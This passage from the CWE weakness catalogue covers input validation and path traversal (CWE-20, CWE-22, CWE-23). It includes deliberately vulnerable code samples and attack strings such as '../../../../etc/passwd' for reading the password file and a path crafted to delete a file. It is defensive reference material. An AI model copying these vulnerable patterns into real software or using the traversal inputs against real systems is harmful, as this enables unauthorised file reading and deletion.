Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Demonstrative Examples

Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

Example Language: Java

(bad)

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

Example Language: C

(bad)

```
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
    die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Example 3:

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

Example Language: PHP

(bad)

```
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"
```

The programmer intended for \$birthday to be in a date format and \$homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the \$birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

Example Language:

(attack)

```
2009-01-09--
```

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

Example 4:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

Example Language: Java

(bad)

```
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 5:

This Android application has registered to handle a URL when sent an intent:

Example Language: Java

(bad)

```

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2008-5305 | Eval injection in Perl program using an ID that should only contain hyphens and numbers. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5305 |
| CVE-2008-2223 | SQL injection through an ID that was supposed to be numeric. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2223 |
| CVE-2008-3477 | lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3477 |

Notes

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

Maintenance

As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

Terminology

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships. Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean

"checking if an input conforms to expectations without changing it." CWE uses this more narrow interpretation.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------|---------|-------------------|---|
| 7 Pernicious Kingdoms | | | Input validation and representation |
| OWASP Top Ten 2004 | A1 | CWE More Specific | Unvalidated Input |
| CERT C Secure Coding | ERR07-C | | Prefer functions that support error checking over equivalent functions that don't |
| CERT C Secure Coding | FIO30-C | CWE More Abstract | Exclude user input from format strings |
| CERT C Secure Coding | MEM10-C | | Define and use a pointer validation function |
| WASC | 20 | | Improper Input Handling |
| Software Fault Patterns | SFP25 | | Tainted input to variable |

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID : 22
Structure : Simple

Status: Stable

Abstraction : Base**Description**

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|-----|---|------|
| ChildOf |  | 668 | Exposure of Resource to Wrong Sphere | 1342 |
| ChildOf |  | 706 | Use of Incorrectly-Resolved Name or Reference | 1400 |
| ParentOf |  | 23 | Relative Path Traversal | 42 |
| ParentOf |  | 36 | Absolute Path Traversal | 70 |
| CanFollow |  | 20 | Improper Input Validation | 19 |
| CanFollow |  | 73 | External Control of File Name or Path | 125 |
| CanFollow |  | 172 | Encoding Error | 406 |

Resultant :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

Directory traversal :

Path traversal : "Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Integrity | Execute Unauthorized Code or Commands | |
| Confidentiality | | |
| Availability | <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i> | |
| Integrity | Modify Files or Directories | |
| | <i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i> | |
| Confidentiality | Read Files or Directories | |
| | <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i> | |
| Availability | DoS: Crash, Exit, or Restart | |
| | <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</i> | |

Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness = High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (CWE-23, CWE-59). This includes: `realpath()` in C `getCanonicalPath()` in Java `GetFullPath()` in ASP.NET `realpath()` or `abs_path()` in Perl `realpath()` in PHP

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Architecture and Design**Phase: Operation**

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phase: Architecture and Design**Phase: Operation**

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design**Phase: Operation**

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such

as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Demonstrative Examples

Example 1:

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

Example Language: Perl

(bad)

```
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";
```

While the programmer intends to access files such as `/users/cwe/profiles/alice` or `/users/cwe/profiles/bob`, there is no verification of the incoming user parameter. An attacker could provide a string such as:

Example Language:

(attack)

```
../../../../etc/passwd
```

The program would generate a profile pathname like this:

Example Language:

(result)

```
/users/cwe/profiles/../../../../etc/passwd
```

When the file is opened, the operating system resolves the `../` during path canonicalization and actually accesses this file:

Example Language:

(result)

```
/etc/passwd
```

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Example Language: Java

(bad)

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 3:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(result)

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(result)

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4:

The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Example Language: Java

(bad)

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    f.delete()
}
```

An attacker could provide an input such as this:

Example Language:

(attack)

```
/safe_dir../important.dat
```

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

Example 5:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

Example Language: HTML

(good)

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java

(bad)

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\", pLine.lastIndexOf("\\"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                }
                //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
    }
    else
```

```

    {...}
  }
  ...
}

```

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use `"../"` sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2010-0467 | Newsletter module allows reading arbitrary files using <code>"../"</code> sequences. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0467 |
| CVE-2009-4194 | FTP server allows deletion of arbitrary files using <code>".."</code> in the <code>DELE</code> command. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4194 |
| CVE-2009-4053 | FTP server allows creation of arbitrary directories using <code>".."</code> in the <code>MKD</code> command. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4053 |
| CVE-2009-0244 | FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using <code>".."</code> sequences. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0244 |
| CVE-2009-4013 | Software package maintenance program allows overwriting arbitrary files using <code>"../"</code> sequences. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4013 |
| CVE-2009-4449 | Bulletin board allows attackers to determine the existence of files using the <code>avatar</code> . https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4449 |
| CVE-2009-4581 | PHP program allows arbitrary code execution using <code>".."</code> in filenames that are fed to the <code>include()</code> function. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4581 |
| CVE-2010-0012 | Overwrite of files using a <code>..</code> in a Torrent file. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0012 |
| CVE-2010-0013 | Chat program allows overwriting files using a custom smiley request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013 |
| CVE-2008-5748 | Chain: external control of values for user's desired language and theme enables path traversal. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5748 |
| CVE-2009-1936 | Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1936 |

Notes

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories. Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "..\" which may also be vulnerable. Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//..\" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-------------------------------|--------------|-------------------|--|
| PLOVER | | | Path Traversal |
| OWASP Top Ten 2007 | A4 | CWE More Specific | Insecure Direct Object Reference |
| OWASP Top Ten 2004 | A2 | CWE More Specific | Broken Access Control |
| CERT C Secure Coding | FIO02-C | | Canonicalize path names originating from untrusted sources |
| SEI CERT Perl Coding Standard | IDS00-PL | Exact | Canonicalize path names before validating them |
| WASC | 33 | | Path Traversal |
| Software Fault Patterns | SFP16 | | Path Traversal |
| OMG ASCSM | ASCSM-CWE-22 | | |

Related Attack Patterns

CWE-23: Relative Path Traversal

Weakness ID : 23
Structure : Simple

Status: Draft

Abstraction : Base**Description**

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|----|--|------|
| ChildOf |  | 22 | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | 31 |
| ParentOf |  | 24 | Path Traversal: '../filedir' | 49 |
| ParentOf |  | 25 | Path Traversal: '/../filedir' | 50 |
| ParentOf |  | 26 | Path Traversal: '/dir../filename' | 52 |
| ParentOf |  | 27 | Path Traversal: 'dir../filename' | 53 |
| ParentOf |  | 28 | Path Traversal: '..filedir' | 55 |
| ParentOf |  | 29 | Path Traversal: '..filename' | 57 |
| ParentOf |  | 30 | Path Traversal: 'dir..filename' | 59 |
| ParentOf |  | 31 | Path Traversal: 'dir..\filename' | 60 |
| ParentOf |  | 32 | Path Traversal: '...' (Triple Dot) | 62 |
| ParentOf |  | 33 | Path Traversal: '...' (Multiple Dot) | 64 |
| ParentOf |  | 34 | Path Traversal: '.../' | 66 |
| ParentOf |  | 35 | Path Traversal: '.../.../' | 68 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|------------------------------|---------------------------------------|------------|
| Integrity Confidentiality | Execute Unauthorized Code or Commands | |

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Availability | <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i> | |
| Integrity | Modify Files or Directories <i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i> | |
| Confidentiality | Read Files or Directories <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i> | |
| Availability | DoS: Crash, Exit, or Restart <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</i> | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

